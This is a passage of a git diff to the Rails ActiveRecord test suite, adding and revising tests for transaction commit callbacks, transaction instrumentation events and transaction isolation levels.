+    assert_equal [:run_callback?, :create_or_update], topic.history
+
+    topic.clear_history
+    topic.destroy
+    assert_equal [], topic.history
   end
+end
+
+class CallbacksOnMultipleInstancesInATransactionTest < ActiveRecord::TestCase
+  class TopicWithTitleHistory < ActiveRecord::Base
+    self.table_name = :topics
 
-  def test_commit_does_not_run_transactions_callbacks_without_enrollment
-    @topic.transaction do
-      @topic.content = "foo"
-      @topic.save!
+    def self.clear_history
+      @@history = []
     end
-    assert @topic.history.empty?
+
+    def self.history
+      @@history ||= []
+    end
+
+    after_create_commit { |record| record.class.history << "Created (title = #{record.title.inspect})" }
+    after_update_commit { |record| record.class.history << "Updated (title = #{record.title.inspect})" }
+    after_destroy_commit { |record| record.class.history << "Destroyed (title = #{record.title.inspect})" }
   end
 
-  def test_commit_run_transactions_callbacks_with_explicit_enrollment
-    @topic.transaction do
-      2.times do
-        @topic.content = "foo"
-        @topic.save!
+  def test_created_callback_called_on_last_to_save_of_separate_instances_in_a_transaction
+    with_run_commit_callbacks_on_first_saved_instances_in_transaction(false) do
+      TopicWithTitleHistory.clear_history
+
+      TopicWithTitleHistory.transaction do
+        topic = TopicWithTitleHistory.create!(title: "A")
+        TopicWithTitleHistory.find(topic.id).update!(title: "B")
       end
-      @topic.class.connection.add_transaction_record(@topic)
+
+      assert_equal ['Created (title = "B")'], TopicWithTitleHistory.history
     end
-    assert_equal [:before_commit, :after_commit], @topic.history
   end
 
-  def test_rollback_does_not_run_transactions_callbacks_without_enrollment
-    @topic.transaction do
-      @topic.content = "foo"
-      @topic.save!
-      raise ActiveRecord::Rollback
+  def test_created_callback_called_on_first_to_save_in_transaction_with_old_configuration
+    with_run_commit_callbacks_on_first_saved_instances_in_transaction(true) do
+      TopicWithTitleHistory.clear_history
+
+      TopicWithTitleHistory.transaction do
+        topic = TopicWithTitleHistory.create!(title: "A")
+        TopicWithTitleHistory.find(topic.id).update!(title: "B")
+      end
+
+      assert_equal ['Created (title = "A")'], TopicWithTitleHistory.history
     end
-    assert @topic.history.empty?
   end
 
-  def test_rollback_run_transactions_callbacks_with_explicit_enrollment
-    @topic.transaction do
-      2.times do
-        @topic.content = "foo"
-        @topic.save!
+  def test_updated_callback_called_on_last_to_save_of_separate_instances_in_a_transaction
+    with_run_commit_callbacks_on_first_saved_instances_in_transaction(false) do
+      topic = TopicWithTitleHistory.create!(title: "one")
+      TopicWithTitleHistory.clear_history
+
+      TopicWithTitleHistory.transaction do
+        TopicWithTitleHistory.find(topic.id).update!(title: "two")
+        TopicWithTitleHistory.find(topic.id).update!(title: "three")
       end
-      @topic.class.connection.add_transaction_record(@topic)
-      raise ActiveRecord::Rollback
+
+      assert_equal ['Updated (title = "three")'], TopicWithTitleHistory.history
+    end
+  end
+
+  def test_updated_callback_called_on_first_to_save_in_transaction_with_old_configuration
+    with_run_commit_callbacks_on_first_saved_instances_in_transaction(true) do
+      topic = TopicWithTitleHistory.create!(title: "one")
+      TopicWithTitleHistory.clear_history
+
+      TopicWithTitleHistory.transaction do
+        TopicWithTitleHistory.find(topic.id).update!(title: "two")
+        TopicWithTitleHistory.find(topic.id).update!(title: "three")
+      end
+
+      assert_equal ['Updated (title = "two")'], TopicWithTitleHistory.history
+    end
+  end
+
+  def test_destroyed_callback_called_on_destroyed_instance_when_preceded_in_transaction_by_save_from_separate_instance
+    with_run_commit_callbacks_on_first_saved_instances_in_transaction(false) do
+      topic = TopicWithTitleHistory.create!(title: "one")
+      TopicWithTitleHistory.clear_history
+
+      TopicWithTitleHistory.transaction do
+        TopicWithTitleHistory.find(topic.id).update!(title: "two")
+        TopicWithTitleHistory.find(topic.id).destroy!
+      end
+
+      assert_equal ['Destroyed (title = "two")'], TopicWithTitleHistory.history
+    end
+  end
+
+  def test_updated_callback_called_on_first_to_save_when_followed_in_transaction_by_destroy_from_separate_instance_with_old_configuration
+    with_run_commit_callbacks_on_first_saved_instances_in_transaction(true) do
+      topic = TopicWithTitleHistory.create!(title: "one")
+      TopicWithTitleHistory.clear_history
+
+      TopicWithTitleHistory.transaction do
+        TopicWithTitleHistory.find(topic.id).update!(title: "two")
+        TopicWithTitleHistory.find(topic.id).destroy!
+      end
+
+      assert_equal ['Updated (title = "two")'], TopicWithTitleHistory.history
+    end
+  end
+
+  def test_destroyed_callbacks_called_on_destroyed_instance_even_when_followed_by_update_from_separate_instances_in_a_transaction
+    with_run_commit_callbacks_on_first_saved_instances_in_transaction(false) do
+      topic = TopicWithTitleHistory.create!(title: "one")
+      TopicWithTitleHistory.clear_history
+
+      TopicWithTitleHistory.transaction do
+        TopicWithTitleHistory.find(topic.id).destroy!
+        topic.update!(title: "two")
+      end
+
+      assert_equal ['Destroyed (title = "one")'], TopicWithTitleHistory.history
+    end
+  end
+
+  def test_destroyed_callbacks_called_on_first_saved_instance_in_transaction_with_old_configuration
+    with_run_commit_callbacks_on_first_saved_instances_in_transaction(true) do
+      topic = TopicWithTitleHistory.create!(title: "one")
+      TopicWithTitleHistory.clear_history
+
+      TopicWithTitleHistory.transaction do
+        TopicWithTitleHistory.find(topic.id).destroy!
+        topic.update!(title: "two")
+      end
+
+      assert_equal ['Destroyed (title = "one")'], TopicWithTitleHistory.history
+    end
+  end
+
+  def with_run_commit_callbacks_on_first_saved_instances_in_transaction(value, model: ActiveRecord::Base)
+    old = model.run_commit_callbacks_on_first_saved_instances_in_transaction
+    model.run_commit_callbacks_on_first_saved_instances_in_transaction = value
+    yield
+  ensure
+    model.run_commit_callbacks_on_first_saved_instances_in_transaction = old
+    if model != ActiveRecord::Base && !old
+      # reset the class_attribute
+      model.singleton_class.remove_method(:run_commit_callbacks_on_first_saved_instances_in_transaction)
     end
-    assert_equal [:rollback], @topic.history
+  end
+end
+
+class SetCallbackTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  class TopicWithHistory < ActiveRecord::Base
+    self.table_name = :topics
+    self.run_commit_callbacks_on_first_saved_instances_in_transaction = true
+
+    def self.clear_history
+      @@history = []
+    end
+
+    def self.history
+      @@history ||= []
+    end
+  end
+
+  class TopicWithCallbacksOnUpdate < TopicWithHistory
+    after_commit :after_commit_on_update_1, on: :update
+    after_update_commit :after_commit_on_update_2
+
+    private
+      def after_commit_on_update_1
+        self.class.history << :after_commit_on_update_1
+      end
+
+      def after_commit_on_update_2
+        self.class.history << :after_commit_on_update_2
+      end
+  end
+
+  def test_set_callback_with_on
+    topic = TopicWithCallbacksOnUpdate.create!(title: "New topic", written_on: Date.today)
+    assert_empty TopicWithCallbacksOnUpdate.history
+
+    topic.update!(title: "Updated topic 1")
+    expected_history = [:after_commit_on_update_2, :after_commit_on_update_1]
+    assert_equal expected_history, TopicWithCallbacksOnUpdate.history
+
+    TopicWithCallbacksOnUpdate.skip_callback(:commit, :after, :after_commit_on_update_2)
+    topic.update!(title: "Updated topic 2")
+    expected_history << :after_commit_on_update_1
+    assert_equal expected_history, TopicWithCallbacksOnUpdate.history
+
+    TopicWithCallbacksOnUpdate.set_callback(:commit, :after, :after_commit_on_update_2, on: :update)
+    topic = TopicWithCallbacksOnUpdate.create!(title: "New topic", written_on: Date.today)
+    topic.update!(title: "Updated topic 3")
+    expected_history << :after_commit_on_update_2
+    expected_history << :after_commit_on_update_1
+    assert_equal expected_history, TopicWithCallbacksOnUpdate.history
   end
 end
diff --git a/activerecord/test/cases/transaction_instrumentation_test.rb b/activerecord/test/cases/transaction_instrumentation_test.rb
new file mode 100644
index 0000000000000..b96bea584ae25
--- /dev/null
+++ b/activerecord/test/cases/transaction_instrumentation_test.rb
@@ -0,0 +1,453 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+class TransactionInstrumentationTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+  fixtures :topics
+
+  def test_start_transaction_is_triggered_when_the_transaction_is_materialized
+    transactions = []
+    subscriber = ActiveSupport::Notifications.subscribe("start_transaction.active_record") do |event|
+      assert event.payload[:connection]
+      transactions << event.payload[:transaction]
+    end
+
+    Topic.transaction do |transaction|
+      assert_empty transactions # A transaction call, per se, does not trigger the event.
+      topics(:first).touch
+      assert_equal [transaction], transactions
+    end
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber)
+  end
+
+  def test_start_transaction_is_not_triggered_for_ordinary_nested_calls
+    transactions = []
+    subscriber = ActiveSupport::Notifications.subscribe("start_transaction.active_record") do |event|
+      assert event.payload[:connection]
+      transactions << event.payload[:transaction]
+    end
+
+    Topic.transaction do |t1|
+      topics(:first).touch
+      assert_equal [t1], transactions
+
+      Topic.transaction do |_t2|
+        topics(:first).touch
+        assert_equal [t1], transactions
+      end
+    end
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber)
+  end
+
+  def test_start_transaction_is_triggered_for_requires_new
+    transactions = []
+    subscriber = ActiveSupport::Notifications.subscribe("start_transaction.active_record") do |event|
+      assert event.payload[:connection]
+      transactions << event.payload[:transaction]
+    end
+
+    Topic.transaction do |t1|
+      topics(:first).touch
+      assert_equal [t1], transactions
+
+      Topic.transaction(requires_new: true) do |t2|
+        topics(:first).touch
+        assert_equal [t1, t2], transactions
+      end
+    end
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber)
+  end
+
+  def test_transaction_instrumentation_on_commit
+    topic = topics(:fifth)
+
+    notified = false
+    expected_transaction = nil
+
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      assert event.payload[:connection]
+      assert_same expected_transaction, event.payload[:transaction]
+      assert_equal :commit, event.payload[:outcome]
+      notified = true
+    end
+
+    ActiveRecord::Base.transaction do |transaction|
+      expected_transaction = transaction
+      topic.update(title: "Ruby on Rails")
+    end
+
+    assert notified
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_on_rollback
+    topic = topics(:fifth)
+
+    notified = false
+    expected_transaction = nil
+
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      assert event.payload[:connection]
+      assert_same expected_transaction, event.payload[:transaction]
+      assert_equal :rollback, event.payload[:outcome]
+      notified = true
+    end
+
+    ActiveRecord::Base.transaction do |transaction|
+      expected_transaction = transaction
+      topic.update(title: "Ruby on Rails")
+      raise ActiveRecord::Rollback
+    end
+
+    assert notified
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_with_savepoints
+    topic = topics(:fifth)
+
+    events = []
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      events << event
+    end
+
+    real_transaction = savepoint_transaction = nil
+    ActiveRecord::Base.transaction do |transaction|
+      real_transaction = transaction
+      topic.update(title: "Sinatra")
+      ActiveRecord::Base.transaction(requires_new: true) do |transaction|
+        savepoint_transaction = transaction
+        topic.update(title: "Ruby on Rails")
+      end
+    end
+
+    assert_equal 2, events.count
+    savepoint_event, real_event = events
+
+    assert_same savepoint_transaction, savepoint_event.payload[:transaction]
+    assert_equal :commit, savepoint_event.payload[:outcome]
+
+    assert_same real_transaction, real_event.payload[:transaction]
+    assert_equal :commit, real_event.payload[:outcome]
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_with_restart_parent_transaction_on_commit
+    topic = topics(:fifth)
+
+    events = []
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      events << event
+    end
+
+    ActiveRecord::Base.transaction do
+      ActiveRecord::Base.transaction(requires_new: true) do
+        topic.update(title: "Ruby on Rails")
+      end
+    end
+
+    assert_equal 1, events.count
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_with_restart_parent_transaction_on_rollback
+    topic = topics(:fifth)
+
+    events = []
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      events << event
+    end
+
+    ActiveRecord::Base.transaction do
+      ActiveRecord::Base.transaction(requires_new: true) do
+        topic.update(title: "Ruby on Rails")
+        raise ActiveRecord::Rollback
+      end
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal 2, events.count
+    restart, real = events
+    assert_equal :restart, restart.payload[:outcome]
+    assert_equal :rollback, real.payload[:outcome]
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_with_unmaterialized_restart_parent_transactions
+    events = []
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      events << event
+    end
+
+    ActiveRecord::Base.transaction do
+      ActiveRecord::Base.transaction(requires_new: true) do
+        raise ActiveRecord::Rollback
+      end
+    end
+
+    assert_equal 0, events.count
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_with_materialized_restart_parent_transactions
+    topic = topics(:fifth)
+    events = []
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      events << event
+    end
+
+    ActiveRecord::Base.transaction do
+      topic.update(title: "Sinatra")
+      ActiveRecord::Base.transaction(requires_new: true) do
+        raise ActiveRecord::Rollback
+      end
+    end
+
+    assert_equal 1, events.count
+    event = events.first
+    assert_equal :commit, event.payload[:outcome]
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_with_restart_savepoint_parent_transactions
+    topic = topics(:fifth)
+
+    events = []
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      events << event
+    end
+
+    ActiveRecord::Base.transaction do
+      topic.update(title: "Sinatry")
+      ActiveRecord::Base.transaction(requires_new: true) do
+        ActiveRecord::Base.transaction(requires_new: true) do
+          topic.update(title: "Ruby on Rails")
+          raise ActiveRecord::Rollback
+        end
+      end
+    end
+
+    assert_equal 3, events.count
+    restart, savepoint, real = events
+    assert_equal :restart, restart.payload[:outcome]
+    assert_equal :commit, savepoint.payload[:outcome]
+    assert_equal :commit, real.payload[:outcome]
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_with_restart_savepoint_parent_transactions_on_commit
+    topic = topics(:fifth)
+
+    events = []
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      events << event
+    end
+
+    ActiveRecord::Base.transaction do
+      topic.update(title: "Sinatra")
+      ActiveRecord::Base.transaction(requires_new: true) do
+      end
+    end
+
+    assert_equal 1, events.count
+    event = events.first
+    assert_equal :commit, event.payload[:outcome]
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_only_fires_if_materialized
+    notified = false
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      notified = true
+    end
+
+    ActiveRecord::Base.transaction do
+    end
+
+    assert_not notified
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_only_fires_on_rollback_if_materialized
+    notified = false
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      notified = true
+    end
+
+    ActiveRecord::Base.transaction do
+      raise ActiveRecord::Rollback
+    end
+
+    assert_not notified
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_reconnecting_after_materialized_transaction_starts_new_event
+    events = []
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      events << event
+    end
+    Topic.transaction do
+      Topic.lease_connection.materialize_transactions
+      Topic.lease_connection.reconnect!(restore_transactions: true)
+    end
+
+    assert_equal 2, events.count
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_fires_before_after_commit_callbacks
+    notified = false
+    after_commit_triggered = false
+
+    topic_model = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      after_commit do
+        after_commit_triggered = true
+      end
+    end
+
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      assert_not after_commit_triggered, "Transaction notification fired after the after_commit callback"
+      notified = true
+    end
+
+    topic_model.create!
+
+    assert notified
+    assert after_commit_triggered
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_fires_before_after_rollback_callbacks
+    notified = false
+    after_rollback_triggered = false
+
+    topic_model = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      after_rollback do
+        after_rollback_triggered = true
+      end
+    end
+
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      assert_not after_rollback_triggered, "Transaction notification fired after the after_rollback callback"
+      notified = true
+    end
+
+    topic_model.transaction do
+      topic_model.create!
+      raise ActiveRecord::Rollback
+    end
+
+    assert notified
+    assert after_rollback_triggered
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  def test_transaction_instrumentation_on_failed_commit
+    topic = topics(:fifth)
+
+    notified = false
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      notified = true
+    end
+
+    error = Class.new(StandardError)
+    assert_raises error do
+      ActiveRecord::Base.lease_connection.stub(:commit_db_transaction, -> (*) { raise error }) do
+        ActiveRecord::Base.transaction do
+          topic.update(title: "Ruby on Rails")
+        end
+      end
+    end
+
+    assert notified
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  unless in_memory_db?
+    def test_transaction_instrumentation_on_failed_rollback
+      topic = topics(:fifth)
+
+      notified = false
+      subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+        assert_equal :incomplete, event.payload[:outcome]
+        notified = true
+      end
+
+      error = Class.new(StandardError)
+      assert_raises error do
+        ActiveRecord::Base.lease_connection.stub(:rollback_db_transaction, -> (*) { raise error }) do
+          ActiveRecord::Base.transaction do
+            topic.update(title: "Ruby on Rails")
+            raise ActiveRecord::Rollback
+          end
+        end
+      end
+
+      assert notified
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+
+    def test_transaction_instrumentation_on_failed_rollback_when_unmaterialized
+      notified = false
+      subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+        notified = true
+      end
+
+      error = Class.new(StandardError)
+      assert_raises error do
+        # Stubbing this method simulates an error that occurs when the transaction is still unmaterilized.
+        Topic.lease_connection.transaction_manager.stub(:rollback_transaction, -> (*) { raise error }) do
+          Topic.transaction do
+            raise ActiveRecord::Rollback
+          end
+        end
+      end
+      assert_not notified
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+  end
+
+  def test_transaction_instrumentation_on_broken_subscription
+    topic = topics(:fifth)
+
+    error = Class.new(StandardError)
+    subscriber = ActiveSupport::Notifications.subscribe("transaction.active_record") do |event|
+      raise error
+    end
+
+    assert_raises(error) do
+      ActiveRecord::Base.transaction do
+        topic.update(title: "Ruby on Rails")
+      end
+    end
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+end
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
index 58abfadaf4928..3d7d7271f5fbe 100644
--- a/activerecord/test/cases/transaction_isolation_test.rb
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
-unless ActiveRecord::Base.connection.supports_transaction_isolation?
-  class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+  unless ActiveRecord::Base.lease_connection.supports_transaction_isolation? && !current_adapter?(:SQLite3Adapter)
     self.use_transactional_tests = false
 
     class Tag < ActiveRecord::Base
@@ -9,14 +11,18 @@ class Tag < ActiveRecord::Base
 
     test "setting the isolation level raises an error" do
       assert_raises(ActiveRecord::TransactionIsolationError) do
-        Tag.transaction(isolation: :serializable) {}
+        Tag.transaction(isolation: :serializable) { Tag.lease_connection.materialize_transactions }
       end
     end
+
+    test "current_transaction.isolation returns nil when no transaction" do
+      assert_nil Tag.lease_connection.current_transaction.isolation
+    end
   end
 end
 
-if ActiveRecord::Base.connection.supports_transaction_isolation?
-  class TransactionIsolationTest < ActiveRecord::TestCase
+class TransactionIsolationTest < ActiveRecord::TestCase
+  if ActiveRecord::Base.lease_connection.supports_transaction_isolation? && !current_adapter?(:SQLite3Adapter)
     self.use_transactional_tests = false
 
     class Tag < ActiveRecord::Base
@@ -27,16 +33,22 @@ class Tag2 < ActiveRecord::Base
       self.table_name = "tags"
     end
 
+    class Dog < ARUnit2Model
+      self.table_name = "dogs"
+    end
+
     setup do
       Tag.establish_connection :arunit
       Tag2.establish_connection :arunit
+      Dog.establish_connection :arunit2
       Tag.destroy_all
+      Dog.destroy_all
     end
 
     # It is impossible to properly test read uncommitted. The SQL standard only
     # specifies what must not happen at a certain level, not what must happen. At
     # the read uncommitted level, there is nothing that must not happen.
-    if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
+    if ActiveRecord::Base.lease_connection.transaction_isolation_levels.include?(:read_uncommitted)
       test "read uncommitted" do
         Tag.transaction(isolation: :read_uncommitted) do
           assert_equal 0, Tag.count
@@ -60,8 +72,159 @@ class Tag2 < ActiveRecord::Base
       assert_equal 1, Tag.count
     end
 
+    test "pool_transaction_isolation_level" do
+      assert_nil Tag.pool_transaction_isolation_level
+
+      events = []
+      ActiveSupport::Notifications.subscribed(
+        -> (event) { events << event.payload[:sql] },
+        "sql.active_record",
+      ) do
+        Tag.with_pool_transaction_isolation_level(:read_committed) do
+          assert_equal :read_committed, Tag.pool_transaction_isolation_level
+          Tag.transaction do
+            Tag.create!(name: "jon")
+          end
+        end
+      end
+      assert_begin_isolation_level_event(events)
+    end
+
+    test "pool_transaction_isolation_level cannot be set within open transaction" do
+      assert_raises(ActiveRecord::TransactionIsolationError) do
+        Tag.transaction do
+          Tag.with_pool_transaction_isolation_level(:read_committed) { }
+        end
+      end
+    end
+
+    test "pool_transaction_isolation_level but transaction overrides isolation" do
+      assert_nil Tag.pool_transaction_isolation_level
+
+      events = []
+      ActiveSupport::Notifications.subscribed(
+        -> (event) { events << event.payload[:sql] },
+        "sql.active_record",
+      ) do
+        Tag.with_pool_transaction_isolation_level(:read_committed) do
+          assert_equal :read_committed, Tag.pool_transaction_isolation_level
+
+          Tag.transaction(isolation: :repeatable_read) do
+            Tag.create!(name: "jon")
+          end
+        end
+      end
+
+      assert_begin_isolation_level_event(events, isolation: "REPEATABLE READ")
+    end
+
+    test "with_transaction_isolation_level explicit transaction" do
+      assert_nil ActiveRecord.default_transaction_isolation_level
+
+      events = []
+      ActiveSupport::Notifications.subscribed(
+        -> (event) { events << event.payload[:sql] },
+        "sql.active_record",
+      ) do
+        assert_nil Tag.connection_pool.pool_transaction_isolation_level
+        assert_nil Dog.connection_pool.pool_transaction_isolation_level
+
+        ActiveRecord.with_transaction_isolation_level(:read_committed) do
+          assert_equal :read_committed, ActiveRecord.default_transaction_isolation_level
+          Tag.transaction do
+            assert_equal :read_committed, Tag.connection_pool.pool_transaction_isolation_level
+            assert_equal :read_committed, Dog.connection_pool.pool_transaction_isolation_level
+
+            Tag.create!(name: "jon")
+            Dog.create!
+          end
+        end
+      end
+
+      assert_nil Tag.connection_pool.pool_transaction_isolation_level
+      assert_nil Dog.connection_pool.pool_transaction_isolation_level
+      assert_begin_isolation_level_event(events, count: 2)
+    end
+
+    test "with_transaction_isolation_level implicit transaction" do
+      assert_nil ActiveRecord.default_transaction_isolation_level
+
+      events = []
+      ActiveSupport::Notifications.subscribed(
+        -> (event) { events << event.payload[:sql] },
+        "sql.active_record",
+      ) do
+        ActiveRecord.with_transaction_isolation_level(:read_committed) do
+          assert_equal :read_committed, ActiveRecord.default_transaction_isolation_level
+
+          Tag.create!(name: "jon")
+          Dog.create!
+        end
+      end
+
+      assert_begin_isolation_level_event(events, count: 2)
+    end
+
+    test "with_transaction_isolation_level cannot be set within open transaction" do
+      Tag.transaction do
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          ActiveRecord.with_transaction_isolation_level(:repeatable_read) do
+            Tag.create!(name: "some tag")
+          end
+        end
+      end
+    end
+
+    test "with_transaction_isolation_level cannot be changed within the block" do
+      Tag.transaction do
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          ActiveRecord.with_transaction_isolation_level(:repeatable_read) do
+            Tag.transaction do
+              ActiveRecord.with_transaction_isolation_level(:serializable) do
+                assert_raises do
+                  Tag.create!(name: "some tag")
+                end
+              end
+            end
+          end
+        end
+      end
+    end
+
+    test "with_transaction_isolation_level but transaction overrides isolation" do
+      assert_nil ActiveRecord.default_transaction_isolation_level
+
+      events = []
+      ActiveSupport::Notifications.subscribed(
+        -> (event) { events << event.payload[:sql] },
+        "sql.active_record",
+      ) do
+        ActiveRecord.with_transaction_isolation_level(:read_committed) do
+          assert_equal :read_committed, ActiveRecord.default_transaction_isolation_level
+
+          Dog.transaction(isolation: :repeatable_read) do
+            Dog.create!
+          end
+        end
+      end
+
+      assert_begin_isolation_level_event(events, isolation: "REPEATABLE READ")
+    end
+
+    test "specifying the same isolation level should not raise an error" do
+      assert_nothing_raised do
+        Tag.transaction(isolation: :read_committed) do
+          Tag.create!
+
+          Tag.transaction(isolation: :read_committed) do
+            Tag.create!
+          end
+        end
+      end
+    end
+
     # We are testing that a nonrepeatable read does not happen
-    if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
+    if ActiveRecord::Base.lease_connection.transaction_isolation_levels.include?(:repeatable_read)
       test "repeatable read" do
         tag = Tag.create(name: "jon")
 
@@ -83,14 +246,16 @@ class Tag2 < ActiveRecord::Base
     # constraint.
     test "serializable" do
       Tag.transaction(isolation: :serializable) do
-        Tag.create
+        assert_nothing_raised do
+          Tag.create
+        end
       end
     end
 
     test "setting isolation when joining a transaction raises an error" do
       Tag.transaction do
         assert_raises(ActiveRecord::TransactionIsolationError) do
-          Tag.transaction(isolation: :serializable) {}
+          Tag.transaction(isolation: :serializable) { }
         end
       end
     end
@@ -98,9 +263,102 @@ class Tag2 < ActiveRecord::Base
     test "setting isolation when starting a nested transaction raises error" do
       Tag.transaction do
         assert_raises(ActiveRecord::TransactionIsolationError) do
-          Tag.transaction(requires_new: true, isolation: :serializable) {}
+          Tag.transaction(requires_new: true, isolation: :serializable) { }
+        end
+      end
+    end
+
+    test "current_transaction.isolation returns nil when no transaction" do
+      assert_nil Tag.lease_connection.current_transaction.isolation
+    end
+
+    test "current_transaction.isolation returns explicitly set isolation level" do
+      Tag.transaction(isolation: :read_committed) do
+        assert_equal :read_committed, Tag.lease_connection.current_transaction.isolation
+      end
+    end
+
+    test "current_transaction.isolation returns parent isolation for nested transactions" do
+      Tag.transaction(isolation: :read_committed) do
+        Tag.transaction do
+          assert_equal :read_committed, Tag.lease_connection.current_transaction.isolation
+        end
+      end
+    end
+
+    test "current_transaction.isolation returns nil for transactions without explicit isolation" do
+      Tag.transaction do
+        assert_nil Tag.lease_connection.current_transaction.isolation
+      end
+    end
+
+    private
+      def assert_begin_isolation_level_event(events, isolation: "READ COMMITTED", count: 1)
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal count, events.select { _1.match(/BEGIN ISOLATION LEVEL #{isolation}/) }.size
+        else
+          assert_equal count, events.select { _1.match(/SET TRANSACTION ISOLATION LEVEL #{isolation}/) }.size
+        end
+      end
+  end
+end
+
+class TransactionIsolationWithTransactionalTestsTest < ActiveRecord::TestCase
+  if ActiveRecord::Base.lease_connection.supports_transaction_isolation? && !current_adapter?(:SQLite3Adapter)
+    class Tag < ActiveRecord::Base
+      self.table_name = "tags"
+    end
+
+    test "starting a transaction with isolation does not raise an error" do
+      assert_nothing_raised do
+        Tag.transaction(isolation: :read_committed) do
+          Tag.create!
+        end
+      end
+    end
+
+    test "starting a transaction with isolation sets the isolation level" do
+      Tag.transaction(isolation: :read_committed) do
+        assert_equal :read_committed, Tag.lease_connection.current_transaction.isolation
+      end
+      assert_nil Tag.lease_connection.current_transaction.isolation
+    end
+
+    test "starting a transaction with isolation and requires_new sets the isolation level" do
+      Tag.transaction(isolation: :read_committed, requires_new: true) do
+        assert_equal :read_committed, Tag.lease_connection.current_transaction.isolation
+      end
+      assert_nil Tag.lease_connection.current_transaction.isolation
+    end
+
+    test "starting a transaction with a different isolation level raises an error" do
+      Tag.transaction(isolation: :read_committed) do
+        Tag.create!
+
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          Tag.transaction(isolation: :repeatable_read) do
+            Tag.create!
+          end
+        end
+      end
+    end
+
+    test "specifying the same isolation level does not raise an error" do
+      assert_nothing_raised do
+        Tag.transaction(isolation: :read_committed) do
+          Tag.create!
+
+          Tag.transaction(isolation: :read_committed) do
+            Tag.create!
+          end
         end
       end
     end
+
+    test "invalid isolation level raises TransactionIsolationError" do
+      assert_raises(ActiveRecord::TransactionIsolationError) do
+        Tag.transaction(isolation: :unknown_level) { Tag.create! }
+      end
+    end
   end
 end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index 111495c481807..184105ab44c85 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/reply"
@@ -7,33 +9,442 @@
 require "models/author"
 require "models/post"
 require "models/movie"
+require "models/cpk"
+
+module TransactionCallbacksTests
+  SomeError = Class.new(StandardError)
+
+  def test_transaction_open?
+    assert_predicate Topic.current_transaction, :closed?
+
+    committed_transaction = nil
